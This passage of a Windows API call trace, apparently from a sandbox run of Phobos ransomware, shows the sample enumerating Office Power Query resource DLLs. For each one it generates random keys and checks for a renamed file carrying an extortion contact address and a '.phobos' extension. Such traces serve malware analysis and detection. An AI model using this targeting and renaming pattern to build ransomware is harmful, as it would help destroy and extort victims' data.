dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.813] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.815] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=168000) returned 1 [0155.815] CloseHandle (hObject=0x254) returned 1 [0155.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.816] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.818] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=223912) returned 1 [0155.818] CloseHandle (hObject=0x250) returned 1 [0155.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.819] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.822] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=68264) returned 1 [0155.823] CloseHandle (hObject=0x254) returned 1 [0155.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.823] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.823] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.827] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=192576) returned 1 [0155.827] CloseHandle (hObject=0x254) returned 1 [0155.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.828] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.832] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=704576) returned 1 [0155.833] CloseHandle (hObject=0x254) returned 1 [0155.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.833] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.833] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.833] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ko\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.834] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=159808) returned 1 [0155.834] CloseHandle (hObject=0x254) returned 1 [0155.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ko\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ko\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ko\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.836] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.836] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ko\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.842] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=585792) returned 1 [0155.844] CloseHandle (hObject=0x250) returned 1 [0155.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ko\\microsoft.mashupengine.resources.dll")) returned 0x220 [0155.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ko\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ko\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ko\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.845] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.849] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=163904) returned 1 [0155.849] CloseHandle (hObject=0x254) returned 1 [0155.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.849] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.851] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=207528) returned 1 [0155.851] CloseHandle (hObject=0x254) returned 1 [0155.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lt\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lt\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.851] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0155.852] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=61504) returned 1 [0155.852] CloseHandle (hObject=0x254) returned 1 [0155.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\microsoft.mashup.client.excel.resources.dll")) returned 0x220 [0155.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.Client.Excel.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\microsoft.mashup.client.excel.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.Client.Excel.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\microsoft.mashup.client.excel.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.853] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.853] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.856] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=163904) returned 1 [0155.856] CloseHandle (hObject=0x250) returned 1 [0155.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\microsoft.mashup.client.windows.resources.dll")) returned 0x220 [0155.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.Client.Windows.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\microsoft.mashup.client.windows.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.Client.Windows.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\microsoft.mashup.client.windows.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.856] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0155.857] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=207528) returned 1 [0155.857] CloseHandle (hObject=0x250) returned 1 [0155.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\microsoft.mashup.document.resources.dll")) returned 0x220 [0155.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.Document.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\microsoft.mashup.document.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.Mashup.Document.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\microsoft.mashup.document.resources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.857] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\microsoft.mashupengine.resources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0156.025] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=581696) returned 1 [0156.026] CloseHandle (hObject=0x368) returned 1 [0156.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.MashupEngine.resources.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\microsoft.mashupengine.resources.dll")) returned 0x220 [0156.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\lv\\Microsoft.MashupEngine.resources.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\lv\\microsoft.mashupengine.resources.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0156.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 